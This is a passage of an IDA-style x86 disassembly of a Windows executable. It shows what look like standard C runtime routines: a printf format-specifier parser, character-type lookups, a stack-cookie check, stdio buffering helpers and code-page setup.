--------------------------------------------------------------------------- loc_4223B4: ; CODE XREF: sub_4222C8+AFj or [ebp+1D4h+var_210], 2 jmp loc_422A79 ; default ; --------------------------------------------------------------------------- loc_4223BD: ; CODE XREF: sub_4222C8+85j ; DATA XREF: seg000:off_422AA2o cmp bl, 2Ah ; jumptable 0042234D case 3 jnz short loc_4223E9 add [ebp+1D4h+arg_8], 4 mov eax, [ebp+1D4h+arg_8] mov eax, [eax-4] test eax, eax mov [ebp+1D4h+var_22C], eax jge loc_422A79 ; default or [ebp+1D4h+var_210], 4 neg [ebp+1D4h+var_22C] jmp loc_422A79 ; default ; --------------------------------------------------------------------------- loc_4223E9: ; CODE XREF: sub_4222C8+F8j mov eax, [ebp+1D4h+var_22C] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] mov [ebp+1D4h+var_22C], eax jmp loc_422A79 ; default ; --------------------------------------------------------------------------- loc_4223FE: ; CODE XREF: sub_4222C8+85j ; DATA XREF: seg000:off_422AA2o and [ebp+1D4h+var_214], 0 ; jumptable 0042234D case 4 jmp loc_422A79 ; default ; --------------------------------------------------------------------------- loc_422407: ; CODE XREF: sub_4222C8+85j ; DATA XREF: seg000:off_422AA2o cmp bl, 2Ah ; jumptable 0042234D case 5 jnz short loc_422430 add [ebp+1D4h+arg_8], 4 mov eax, [ebp+1D4h+arg_8] mov eax, [eax-4] test eax, eax mov [ebp+1D4h+var_214], eax jge loc_422A79 ; default or [ebp+1D4h+var_214], 0FFFFFFFFh jmp loc_422A79 ; default ; --------------------------------------------------------------------------- loc_422430: ; CODE XREF: sub_4222C8+142j mov eax, [ebp+1D4h+var_214] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] mov [ebp+1D4h+var_214], eax jmp loc_422A79 ; default ; --------------------------------------------------------------------------- loc_422445: ; CODE XREF: sub_4222C8+85j ; DATA XREF: seg000:off_422AA2o cmp bl, 49h ; jumptable 0042234D case 6 jz short loc_422478 cmp bl, 68h jz short loc_42246F cmp bl, 6Ch jz short loc_422466 cmp bl, 77h jnz loc_422A79 ; default or byte ptr [ebp+1D4h+var_210+1], 8 jmp loc_422A79 ; default ; --------------------------------------------------------------------------- loc_422466: ; CODE XREF: sub_4222C8+18Aj or [ebp+1D4h+var_210], 10h jmp loc_422A79 ; default ; --------------------------------------------------------------------------- loc_42246F: ; CODE XREF: sub_4222C8+185j or [ebp+1D4h+var_210], 20h jmp loc_422A79 ; default ; --------------------------------------------------------------------------- loc_422478: ; CODE XREF: sub_4222C8+180j mov al, [edi] cmp al, 36h jnz short loc_422495 cmp byte ptr [edi+1], 34h jnz short loc_422495 inc edi inc edi or byte ptr [ebp+1D4h+var_210+1], 80h mov [ebp+1D4h+arg_4], edi jmp loc_422A79 ; default ; --------------------------------------------------------------------------- loc_422495: ; CODE XREF: sub_4222C8+1B4j ; sub_4222C8+1BAj cmp al, 33h jnz short loc_4224B0 cmp byte ptr [edi+1], 32h jnz short loc_4224B0 inc edi inc edi and byte ptr [ebp+1D4h+var_210+1], 7Fh mov [ebp+1D4h+arg_4], edi jmp loc_422A79 ; default ; --------------------------------------------------------------------------- loc_4224B0: ; CODE XREF: sub_4222C8+1CFj ; sub_4222C8+1D5j cmp al, 64h jz loc_422A79 ; default cmp al, 69h jz loc_422A79 ; default cmp al, 6Fh jz loc_422A79 ; default cmp al, 75h jz loc_422A79 ; default cmp al, 78h jz loc_422A79 ; default cmp al, 58h jz loc_422A79 ; default and [ebp+1D4h+var_244], 0 loc_4224E4: ; CODE XREF: sub_4222C8+85j ; DATA XREF: seg000:off_422AA2o mov ecx, ds:off_4437D8 ; jumptable 0042234D case 0 and [ebp+1D4h+var_230], 0 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_422511 mov ecx, [ebp+1D4h+arg_0] lea esi, [ebp+1D4h+var_220] mov al, bl call sub_42223A mov bl, [edi] inc edi mov [ebp+1D4h+arg_4], edi loc_422511: ; CODE XREF: sub_4222C8+22Ej mov ecx, [ebp+1D4h+arg_0] lea esi, [ebp+1D4h+var_220] mov al, bl call sub_42223A jmp loc_422A79 ; default ; --------------------------------------------------------------------------- loc_422526: ; CODE XREF: sub_4222C8+85j ; DATA XREF: seg000:off_422AA2o movsx eax, bl ; jumptable 0042234D case 7 cmp eax, 67h jg loc_42278A cmp eax, 65h jge loc_4225C1 cmp eax, 58h jg loc_422622 jz loc_42280B sub eax, 43h jz loc_4225E1 dec eax dec eax jz short loc_4225B7 dec eax dec eax jz short loc_4225B7 sub eax, 0Ch jnz loc_422965 test word ptr [ebp+1D4h+var_210], 830h jnz short loc_422570 or byte ptr [ebp+1D4h+var_210+1], 8 loc_422570: ; CODE XREF: sub_4222C8+2A2j ; sub_4222C8+4E1j mov ecx, [ebp+1D4h+var_214] cmp ecx, 0FFFFFFFFh jnz short loc_42257D mov ecx, 7FFFFFFFh loc_42257D: ; CODE XREF: sub_4222C8+2AEj add [ebp+1D4h+arg_8], 4 test word ptr [ebp+1D4h+var_210], 810h mov eax, [ebp+1D4h+arg_8] mov eax, [eax-4] mov [ebp+1D4h+var_218], eax jz loc_4227E0 test eax, eax jnz short loc_4225A8 mov eax, ds:off_4437D0 mov [ebp+1D4h+var_218], eax loc_4225A8: ; CODE XREF: sub_4222C8+2D6j mov eax, [ebp+1D4h+var_218] mov [ebp+1D4h+var_230], 1 jmp loc_4227D2 ; --------------------------------------------------------------------------- loc_4225B7: ; CODE XREF: sub_4222C8+28Dj ; sub_4222C8+291j mov [ebp+1D4h+var_240], 1 add bl, 20h loc_4225C1: ; CODE XREF: sub_4222C8+26Dj or [ebp+1D4h+var_210], 40h cmp [ebp+1D4h+var_214], 0 lea esi, [ebp+1D4h+var_20C] mov [ebp+1D4h+var_218], esi jge loc_4226CE mov [ebp+1D4h+var_214], 6 jmp loc_422715 ; --------------------------------------------------------------------------- loc_4225E1: ; CODE XREF: sub_4222C8+285j test word ptr [ebp+1D4h+var_210], 830h jnz short loc_4225ED or byte ptr [ebp+1D4h+var_210+1], 8 loc_4225ED: ; CODE XREF: sub_4222C8+31Fj ; sub_4222C8+362j add [ebp+1D4h+arg_8], 4 test word ptr [ebp+1D4h+var_210], 810h mov eax, [ebp+1D4h+arg_8] jz short loc_422667 movsx eax, word ptr [eax-4] push eax lea eax, [ebp+1D4h+var_20C] push eax call sub_426D3A test eax, eax pop ecx pop ecx mov [ebp+1D4h+var_21C], eax jge short loc_422674 mov [ebp+1D4h+var_238], 1 jmp short loc_422674 ; --------------------------------------------------------------------------- loc_422622: ; CODE XREF: sub_4222C8+276j sub eax, 5Ah jz short loc_42267F sub eax, 9 jz short loc_4225ED dec eax jnz loc_422965 loc_422633: ; CODE XREF: sub_4222C8+4C5j or [ebp+1D4h+var_210], 40h loc_422637: ; CODE XREF: sub_4222C8+4E9j mov [ebp+1D4h+var_21C], 0Ah loc_42263E: ; CODE XREF: sub_4222C8+551j ; sub_4222C8+56Aj ... mov ebx, [ebp+1D4h+var_210] mov esi, 8000h test ebx, esi jz loc_422881 mov ecx, [ebp+1D4h+arg_8] mov eax, [ecx] mov edx, [ecx+4] add ecx, 8 mov [ebp+1D4h+arg_8], ecx jmp loc_4228AF ; --------------------------------------------------------------------------- loc_422667: ; CODE XREF: sub_4222C8+338j mov al, [eax-4] mov [ebp+1D4h+var_20C], al mov [ebp+1D4h+var_21C], 1 loc_422674: ; CODE XREF: sub_4222C8+34Fj ; sub_4222C8+358j lea eax, [ebp+1D4h+var_20C] mov [ebp+1D4h+var_218], eax jmp loc_422965 ; --------------------------------------------------------------------------- loc_42267F: ; CODE XREF: sub_4222C8+35Dj add [ebp+1D4h+arg_8], 4 mov eax, [ebp+1D4h+arg_8] mov eax, [eax-4] test eax, eax jz short loc_4226C0 mov ecx, [eax+4] test ecx, ecx jz short loc_4226C0 test byte ptr [ebp+1D4h+var_210+1], 8 movsx eax, word ptr [eax] mov [ebp+1D4h+var_218], ecx jz short loc_4226B7 cdq sub eax, edx sar eax, 1 mov [ebp+1D4h+var_230], 1 jmp loc_422962 ; --------------------------------------------------------------------------- loc_4226B7: ; CODE XREF: sub_4222C8+3DCj and [ebp+1D4h+var_230], 0 jmp loc_422962 ; --------------------------------------------------------------------------- loc_4226C0: ; CODE XREF: sub_4222C8+3C9j ; sub_4222C8+3D0j mov eax, ds:off_4437CC mov [ebp+1D4h+var_218], eax push eax jmp loc_42277F ; --------------------------------------------------------------------------- loc_4226CE: ; CODE XREF: sub_4222C8+307j jnz short loc_4226DE cmp bl, 67h jnz short loc_422715 mov [ebp+1D4h+var_214], 1 jmp short loc_422715 ; --------------------------------------------------------------------------- loc_4226DE: ; CODE XREF: sub_4222C8:loc_4226CEj mov eax, 200h cmp [ebp+1D4h+var_214], eax jle short loc_4226EB mov [ebp+1D4h+var_214], eax loc_4226EB: ; CODE XREF: sub_4222C8+41Ej mov edi, 0A3h cmp [ebp+1D4h+var_214], edi jle short loc_422715 mov eax, [ebp+1D4h+var_214] add eax, 15Dh push eax call sub_41E5D3 test eax, eax pop ecx mov [ebp+1D4h+var_234], eax jz short loc_422712 mov [ebp+1D4h+var_218], eax mov esi, eax jmp short loc_422715 ; --------------------------------------------------------------------------- loc_422712: ; CODE XREF: sub_4222C8+441j mov [ebp+1D4h+var_214], edi loc_422715: ; CODE XREF: sub_4222C8+314j ; sub_4222C8+40Bj ... mov eax, [ebp+1D4h+arg_8] mov ecx, [eax] push [ebp+1D4h+var_240] add eax, 8 push [ebp+1D4h+var_214] mov [ebp+1D4h+arg_8], eax mov eax, [eax-4] mov [ebp+1D4h+var_250], eax movsx eax, bl push eax lea eax, [ebp+1D4h+var_254] push esi push eax mov [ebp+1D4h+var_254], ecx call ds:off_443A50 mov edi, [ebp+1D4h+var_210] add esp, 14h and edi, 80h jz short loc_422760 cmp [ebp+1D4h+var_214], 0 jnz short loc_422760 push esi call ds:off_443A5C pop ecx loc_422760: ; CODE XREF: sub_4222C8+488j ; sub_4222C8+48Ej cmp bl, 67h jnz short loc_422771 test edi, edi jnz short loc_422771 push esi call ds:off_443A54 pop ecx loc_422771: ; CODE XREF: sub_4222C8+49Bj ; sub_4222C8+49Fj cmp byte ptr [esi], 2Dh jnz short loc_42277E or byte ptr [ebp+1D4h+var_210+1], 1 inc esi mov [ebp+1D4h+var_218], esi loc_42277E: ; CODE XREF: sub_4222C8+4ACj push esi loc_42277F: ; CODE XREF: sub_4222C8+401j call sub_41E1C0 pop ecx jmp loc_422962 ; --------------------------------------------------------------------------- loc_42278A: ; CODE XREF: sub_4222C8+264j sub eax, 69h jz loc_422633 sub eax, 5 jz loc_422851 dec eax jz loc_422837 dec eax jz short loc_422804 sub eax, 3 jz loc_422570 dec eax dec eax jz loc_422637 sub eax, 3 jnz loc_422965 mov [ebp+1D4h+var_23C], 27h jmp short loc_42280E ; --------------------------------------------------------------------------- loc_4227C9: ; CODE XREF: sub_4222C8+50Cj dec ecx cmp word ptr [eax], 0 jz short loc_4227D6 inc eax inc eax loc_4227D2: ; CODE XREF: sub_4222C8+2EAj test ecx, ecx jnz short loc_4227C9 loc_4227D6: ; CODE XREF: sub_4222C8+506j sub eax, [ebp+1D4h+var_218] sar eax, 1 jmp loc_422962 ; --------------------------------------------------------------------------- loc_4227E0: ; CODE XREF: sub_4222C8+2CEj test eax, eax jnz short loc_4227EC mov eax, ds:off_4437CC mov [ebp+1D4h+var_218], eax loc_4227EC: ; CODE XREF: sub_4222C8+51Aj mov eax, [ebp+1D4h+var_218] jmp short loc_4227F8 ; --------------------------------------------------------------------------- loc_4227F1: ; CODE XREF: sub_4222C8+532j dec ecx cmp byte ptr [eax], 0 jz short loc_4227FC inc eax loc_4227F8: ; CODE XREF: sub_4222C8+527j test ecx, ecx jnz short loc_4227F1 loc_4227FC: ; CODE XREF: sub_4222C8+52Dj sub eax, [ebp+1D4h+var_218] jmp loc_422962 ; --------------------------------------------------------------------------- loc_422804: ; CODE XREF: sub_4222C8+4DCj mov [ebp+1D4h+var_214], 8 loc_42280B: ; CODE XREF: sub_4222C8+27Cj mov [ebp+1D4h+var_23C], ecx loc_42280E: ; CODE XREF: sub_4222C8+4FFj test byte ptr [ebp+1D4h+var_210], 80h mov [ebp+1D4h+var_21C], 10h jz loc_42263E mov al, byte ptr [ebp+1D4h+var_23C] add al, 51h mov [ebp+1D4h+var_224], 30h mov [ebp+1D4h+var_223], al mov [ebp+1D4h+var_228], 2 jmp loc_42263E ; --------------------------------------------------------------------------- loc_422837: ; CODE XREF: sub_4222C8+4D5j test byte ptr [ebp+1D4h+var_210], 80h mov [ebp+1D4h+var_21C], 8 jz loc_42263E or byte ptr [ebp+1D4h+var_210+1], 2 jmp loc_42263E ; --------------------------------------------------------------------------- loc_422851: ; CODE XREF: sub_4222C8+4CEj add [ebp+1D4h+arg_8], 4 test byte ptr [ebp+1D4h+var_210], 20h mov eax, [ebp+1D4h+arg_8] mov eax, [eax-4] jz short loc_422870 mov cx, word ptr [ebp+1D4h+var_220] mov [eax], cx jmp short loc_422875 ; --------------------------------------------------------------------------- loc_422870: ; CODE XREF: sub_4222C8+59Dj mov ecx, [ebp+1D4h+var_220] mov [eax], ecx loc_422875: ; CODE XREF: sub_4222C8+5A6j mov [ebp+1D4h+var_238], 1 jmp loc_422A66 ; --------------------------------------------------------------------------- loc_422881: ; CODE XREF: sub_4222C8+380j add [ebp+1D4h+arg_8], 4 test bl, 20h mov eax, [ebp+1D4h+arg_8] jz short loc_4228A5 test bl, 40h jz short loc_42289F movsx eax, word ptr [eax-4] loc_42289C: ; CODE XREF: sub_4222C8+5DBj ; sub_4222C8+5E3j cdq jmp short loc_4228AF ; --------------------------------------------------------------------------- loc_42289F: ; CODE XREF: sub_4222C8+5CEj movzx eax, word ptr [eax-4] jmp short loc_42289C ; --------------------------------------------------------------------------- loc_4228A5: ; CODE XREF: sub_4222C8+5C9j test bl, 40h mov eax, [eax-4] jnz short loc_42289C xor edx, edx loc_4228AF: ; CODE XREF: sub_4222C8+39Aj ; sub_4222C8+5D5j test bl, 40h jz short loc_4228C9 test edx, edx jg short loc_4228C9 jl short loc_4228BE test eax, eax jnb short loc_4228C9 loc_4228BE: ; CODE XREF: sub_4222C8+5F0j neg eax adc edx, 0 neg edx or byte ptr [ebp+1D4h+var_210+1], 1 loc_4228C9: ; CODE XREF: sub_4222C8+5EAj ; sub_4222C8+5EEj ... test [ebp+1D4h+var_210], esi mov ebx, eax mov edi, edx jnz short loc_4228D4 xor edi, edi loc_4228D4: ; CODE XREF: sub_4222C8+608j cmp [ebp+1D4h+var_214], 0 jge short loc_4228E3 mov [ebp+1D4h+var_214], 1 jmp short loc_4228F4 ; --------------------------------------------------------------------------- loc_4228E3: ; CODE XREF: sub_4222C8+610j and [ebp+1D4h+var_210], 0FFFFFFF7h mov eax, 200h cmp [ebp+1D4h+var_214], eax jle short loc_4228F4 mov [ebp+1D4h+var_214], eax loc_4228F4: ; CODE XREF: sub_4222C8+619j ; sub_4222C8+627j mov eax, ebx or eax, edi jnz short loc_4228FE and [ebp+1D4h+var_228], 0 loc_4228FE: ; CODE XREF: sub_4222C8+630j lea esi, [ebp+1D4h+var_D] loc_422904: ; CODE XREF: sub_4222C8+66Ej mov eax, [ebp+1D4h+var_214] dec [ebp+1D4h+var_214] test eax, eax jg short loc_422914 mov eax, ebx or eax, edi jz short loc_422938 loc_422914: ; CODE XREF: sub_4222C8+644j mov eax, [ebp+1D4h+var_21C] cdq push edx push eax push edi push ebx call sub_420890 add ecx, 30h cmp ecx, 39h mov [ebp+1D4h+var_248], ebx mov ebx, eax mov edi, edx jle short loc_422933 add ecx, [ebp+1D4h+var_23C] loc_422933: ; CODE XREF: sub_4222C8+666j mov [esi], cl dec esi jmp short loc_422904 ; --------------------------------------------------------------------------- loc_422938: ; CODE XREF: sub_4222C8+64Aj lea eax, [ebp+1D4h+var_D] sub eax, esi inc esi test byte ptr [ebp+1D4h+var_210+1], 2 mov [ebp+1D4h+var_21C], eax mov [ebp+1D4h+var_218], esi jz short loc_422965 mov ecx, esi cmp byte ptr [ecx], 30h jnz short loc_422958 test eax, eax jnz short loc_422965 loc_422958: ; CODE XREF: sub_4222C8+68Aj dec [ebp+1D4h+var_218] mov ecx, [ebp+1D4h+var_218] mov byte ptr [ecx], 30h inc eax loc_422962: ; CODE XREF: sub_4222C8+3EAj ; sub_4222C8+3F3j ... mov [ebp+1D4h+var_21C], eax loc_422965: ; CODE XREF: sub_4222C8+296j ; sub_4222C8+365j ... cmp [ebp+1D4h+var_238], 0 jnz loc_422A66 mov ebx, [ebp+1D4h+var_210] test bl, 40h jz short loc_42299D test bh, 1 jz short loc_422982 mov [ebp+1D4h+var_224], 2Dh jmp short loc_422996 ; --------------------------------------------------------------------------- loc_422982: ; CODE XREF: sub_4222C8+6B2j test bl, 1 jz short loc_42298D mov [ebp+1D4h+var_224], 2Bh jmp short loc_422996 ; --------------------------------------------------------------------------- loc_42298D: ; CODE XREF: sub_4222C8+6BDj test bl, 2 jz short loc_42299D mov [ebp+1D4h+var_224], 20h loc_422996: ; CODE XREF: sub_4222C8+6B8j ; sub_4222C8+6C3j mov [ebp+1D4h+var_228], 1 loc_42299D: ; CODE XREF: sub_4222C8+6ADj ; sub_4222C8+6C8j mov esi, [ebp+1D4h+var_22C] sub esi, [ebp+1D4h+var_228] sub esi, [ebp+1D4h+var_21C] test bl, 0Ch jnz short loc_4229BF push [ebp+1D4h+arg_0] lea eax, [ebp+1D4h+var_220] push esi push 20h call sub_42226D add esp, 0Ch loc_4229BF: ; CODE XREF: sub_4222C8+6E1j push [ebp+1D4h+var_228] mov edi, [ebp+1D4h+arg_0] lea eax, [ebp+1D4h+var_220] lea ecx, [ebp+1D4h+var_224] call sub_422291 test bl, 8 pop ecx jz short loc_4229ED test bl, 4 jnz short loc_4229ED push edi push esi push 30h lea eax, [ebp+1D4h+var_220] call sub_42226D add esp, 0Ch loc_4229ED: ; CODE XREF: sub_4222C8+70Fj ; sub_4222C8+714j cmp [ebp+1D4h+var_230], 0 jz short loc_422A3D cmp [ebp+1D4h+var_21C], 0 jle short loc_422A3D mov eax, [ebp+1D4h+var_21C] mov ebx, [ebp+1D4h+var_218] mov [ebp+1D4h+var_248], eax loc_422A02: ; CODE XREF: sub_4222C8+771j dec [ebp+1D4h+var_248] xor eax, eax mov ax, [ebx] push eax lea eax, [ebp+1D4h+var_C] push eax call sub_426D3A inc ebx pop ecx inc ebx test eax, eax pop ecx jle short loc_422A4C mov edi, [ebp+1D4h+arg_0] push eax lea eax, [ebp+1D4h+var_220] lea ecx, [ebp+1D4h+var_C] call sub_422291 cmp [ebp+1D4h+var_248], 0 pop ecx jnz short loc_422A02 jmp short loc_422A4C ; --------------------------------------------------------------------------- loc_422A3D: ; CODE XREF: sub_4222C8+729j ; sub_4222C8+72Fj push [ebp+1D4h+var_21C] mov ecx, [ebp+1D4h+var_218] lea eax, [ebp+1D4h+var_220] call sub_422291 pop ecx loc_422A4C: ; CODE XREF: sub_4222C8+755j ; sub_4222C8+773j test byte ptr [ebp+1D4h+var_210], 4 jz short loc_422A66 push [ebp+1D4h+arg_0] lea eax, [ebp+1D4h+var_220] push esi push 20h call sub_42226D add esp, 0Ch loc_422A66: ; CODE XREF: sub_4222C8+5B4j ; sub_4222C8+6A1j ... cmp [ebp+1D4h+var_234], 0 jz short loc_422A79 ; default push [ebp+1D4h+var_234] call sub_41E2A1 and [ebp+1D4h+var_234], 0 pop ecx loc_422A79: ; CODE XREF: sub_4222C8+7Fj ; sub_4222C8+A4j ... mov edi, [ebp+1D4h+arg_4] ; default mov bl, [edi] test bl, bl jnz loc_422305 loc_422A89: ; CODE XREF: sub_4222C8+4Bj pop edi pop esi loc_422A8B: ; CODE XREF: sub_4222C8+31j mov ecx, [ebp+1D4h+var_4] mov eax, [ebp+1D4h+var_220] pop ebx call sub_422B83 add ebp, 1D4h leave retn sub_4222C8 endp ; --------------------------------------------------------------------------- off_422AA2 dd offset loc_4224E4 ; DATA XREF: sub_4222C8+85r dd offset loc_422354 ; jump table for switch statement dd offset loc_422371 dd offset loc_4223BD dd offset loc_4223FE dd offset loc_422407 dd offset loc_422445 dd offset loc_422526 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422AC2 proc near ; CODE XREF: sub_41E755+Cp var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] cmp ecx, 0FFh jbe short loc_422B2F and [ebp+var_4], 0 push edi xor eax, eax lea edi, [ebp+var_2] stosw mov eax, ecx shr eax, 8 cmp ds:dword_4E2CA4, 0 mov byte ptr [ebp+arg_0+2], al mov byte ptr [ebp+arg_0+3], cl pop edi jnz short loc_422AF7 loc_422AF3: ; CODE XREF: sub_422AC2+59j ; sub_422AC2+60j ... xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_422AF7: ; CODE XREF: sub_422AC2+2Fj push 1 push ds:dword_4E2CA0 lea eax, [ebp+var_4] push ds:dword_4E2DC4 push eax push 2 lea eax, [ebp+arg_0+2] push eax push 1 call sub_426DA0 add esp, 1Ch test eax, eax jz short loc_422AF3 cmp [ebp+var_2], 0 jnz short loc_422AF3 test byte ptr [ebp+var_4], 8 jz short loc_422AF3 xor eax, eax inc eax leave retn ; --------------------------------------------------------------------------- loc_422B2F: ; CODE XREF: sub_422AC2+Dj cmp ds:dword_4437B0, 1 jle short loc_422B44 push 8 push ecx call sub_422B91 pop ecx pop ecx leave retn ; --------------------------------------------------------------------------- loc_422B44: ; CODE XREF: sub_422AC2+74j mov eax, ds:off_4437D8 movzx eax, byte ptr [eax+ecx*2] and eax, 8 leave retn sub_422AC2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_422B83 loc_422B52: ; CODE XREF: sub_422B83:loc_422B8Cj push 8 push offset dword_439550 call sub_425F14 and dword ptr [ebp-4], 0 push 0 push 1 call sub_426FC0 pop ecx pop ecx jmp short loc_422B76 ; END OF FUNCTION CHUNK FOR sub_422B83 ; --------------------------------------------------------------------------- db 33h dd 8BC340C0h db 65h, 0E8h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_422B83 loc_422B76: ; CODE XREF: sub_422B83-16j or dword ptr [ebp-4], 0FFFFFFFFh push 3 call ds:dword_42B000 ; ExitProcess int 3 ; Trap to Debugger ; END OF FUNCTION CHUNK FOR sub_422B83 ; =============== S U B R O U T I N E ======================================= sub_422B83 proc near ; CODE XREF: sub_41E7B2+A6p ; sub_4222C8+7CDp ... ; FUNCTION CHUNK AT 00422B52 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00422B76 SIZE 0000000D BYTES cmp ecx, ds:dword_4437D4 jnz short loc_422B8C retn ; --------------------------------------------------------------------------- loc_422B8C: ; CODE XREF: sub_422B83+6j jmp loc_422B52 sub_422B83 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422B91 proc near ; CODE XREF: sub_41EAB4+22p ; sub_420AD5+Fp ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_422BAF mov ecx, ds:off_4437D8 movzx eax, word ptr [ecx+eax*2] jmp short loc_422C0A ; --------------------------------------------------------------------------- loc_422BAF: ; CODE XREF: sub_422B91+10j mov ecx, eax sar ecx, 8 push esi mov esi, ds:off_4437D8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_422BD5 push 2 mov [ebp+var_3], al mov [ebp+var_4], cl mov [ebp+var_2], 0 pop eax jmp short loc_422BDF ; --------------------------------------------------------------------------- loc_422BD5: ; CODE XREF: sub_422B91+33j mov [ebp+var_4], al xor eax, eax mov [ebp+var_3], 0 inc eax loc_422BDF: ; CODE XREF: sub_422B91+42j push 1 push ds:dword_4E29A4 lea ecx, [ebp+arg_0+2] push ds:dword_4E29B4 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_426DA0 add esp, 1Ch test eax, eax jnz short loc_422C06 leave retn ; --------------------------------------------------------------------------- loc_422C06: ; CODE XREF: sub_422B91+71j movzx eax, word ptr [ebp+arg_0+2] loc_422C0A: ; CODE XREF: sub_422B91+1Cj and eax, [ebp+arg_4] leave retn sub_422B91 endp ; =============== S U B R O U T I N E ======================================= sub_422C0F proc near ; CODE XREF: sub_41EC78+1Dp ; sub_42065F+16p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ds:dword_4E28F8, eax xor ecx, ecx loc_422C1A: ; CODE XREF: sub_422C0F+18j cmp eax, ds:dword_4437E0[ecx*8] jz short loc_422C3E inc ecx cmp ecx, 2Dh jb short loc_422C1A cmp eax, 13h jb short loc_422C4B cmp eax, 24h ja short loc_422C4B mov ds:dword_4E28F4, 0Dh retn ; --------------------------------------------------------------------------- loc_422C3E: ; CODE XREF: sub_422C0F+12j mov eax, ds:dword_4437E4[ecx*8] mov ds:dword_4E28F4, eax retn ; --------------------------------------------------------------------------- loc_422C4B: ; CODE XREF: sub_422C0F+1Dj ; sub_422C0F+22j cmp eax, 0BCh jb short loc_422C63 cmp eax, 0CAh mov ds:dword_4E28F4, 8 jbe short locret_422C6D loc_422C63: ; CODE XREF: sub_422C0F+41j mov ds:dword_4E28F4, 16h locret_422C6D: ; CODE XREF: sub_422C0F+52j retn sub_422C0F endp ; =============== S U B R O U T I N E ======================================= sub_422C6E proc near ; CODE XREF: sub_41ECA2+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_426D13 test eax, eax pop ecx jz short loc_422CF2 cmp esi, offset dword_443520 jnz short loc_422C8C xor eax, eax jmp short loc_422C97 ; --------------------------------------------------------------------------- loc_422C8C: ; CODE XREF: sub_422C6E+18j cmp esi, offset dword_443540 jnz short loc_422CF2 xor eax, eax inc eax loc_422C97: ; CODE XREF: sub_422C6E+1Cj inc ds:dword_4E2944 test word ptr [esi+0Ch], 10Ch jnz short loc_422CF2 push ebx push edi lea edi, ds:4E2968h[eax*4] cmp dword ptr [edi], 0 mov ebx, 1000h jnz short loc_422CD8 push ebx call sub_41E5D3 test eax, eax pop ecx mov [edi], eax jnz short loc_422CD8 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_422CE5 ; --------------------------------------------------------------------------- loc_422CD8: ; CODE XREF: sub_422C6E+48j ; sub_422C6E+55j mov edi, [edi] mov [esi+8], edi mov [esi], edi mov [esi+18h], ebx mov [esi+4], ebx loc_422CE5: ; CODE XREF: sub_422C6E+68j or word ptr [esi+0Ch], 1102h pop edi xor eax, eax pop ebx inc eax pop esi retn ; --------------------------------------------------------------------------- loc_422CF2: ; CODE XREF: sub_422C6E+10j ; sub_422C6E+24j ... xor eax, eax pop esi retn sub_422C6E endp ; =============== S U B R O U T I N E ======================================= sub_422CF6 proc near ; CODE XREF: sub_41ECA2+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_422D1F mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_422D30 push esi call sub_420FC7 and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 jmp short loc_422D2F ; --------------------------------------------------------------------------- loc_422D1F: ; CODE XREF: sub_422CF6+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_422D30 push eax call sub_420FC7 loc_422D2F: ; CODE XREF: sub_422CF6+27j pop ecx loc_422D30: ; CODE XREF: sub_422CF6+10j ; sub_422CF6+31j pop esi retn sub_422CF6 endp ; =============== S U B R O U T I N E ======================================= sub_422D32 proc near ; CODE XREF: sub_422F16+157p ; sub_422F16+19Cp sub eax, 3A4h jz short loc_422D5B sub eax, 4 jz short loc_422D55 sub eax, 0Dh jz short loc_422D4F dec eax jz short loc_422D49 xor eax, eax retn ; --------------------------------------------------------------------------- loc_422D49: ; CODE XREF: sub_422D32+12j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_422D4F: ; CODE XREF: sub_422D32+Fj mov eax, 412h retn ; --------------------------------------------------------------------------- loc_422D55: ; CODE XREF: sub_422D32+Aj mov eax, 804h retn ; --------------------------------------------------------------------------- loc_422D5B: ; CODE XREF: sub_422D32+5j mov eax, 411h retn sub_422D32 endp ; =============== S U B R O U T I N E ======================================= sub_422D61 proc near ; CODE XREF: sub_422F16:loc_4230DEp push edi push 40h xor eax, eax pop ecx mov edi, offset byte_4E2CC0 rep stosd stosb xor eax, eax mov ds:dword_4E2DC4, eax mov ds:dword_4E2CA4, eax mov ds:dword_4E2CA0, eax mov edi, offset dword_4E2DD0 stosd stosd stosd pop edi retn sub_422D61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422D8A proc near ; CODE XREF: sub_422F16:loc_4230E3p var_518 = word ptr -518h var_318 = byte ptr -318h var_218 = byte ptr -218h var_118 = byte ptr -118h var_18 = byte ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 518h mov eax, ds:dword_4437D4 mov [ebp+var_4], eax push esi lea eax, [ebp+var_18] push eax push ds:dword_4E2DC4 call ds:dword_42B190 ; GetCPInfo cmp eax, 1 mov esi, 100h jnz loc_422EC7 xor eax, eax loc_422DBC: ; CODE XREF: sub_422D8A+3Cj mov [ebp+eax+var_118], al inc eax cmp eax, esi jb short loc_422DBC mov al, 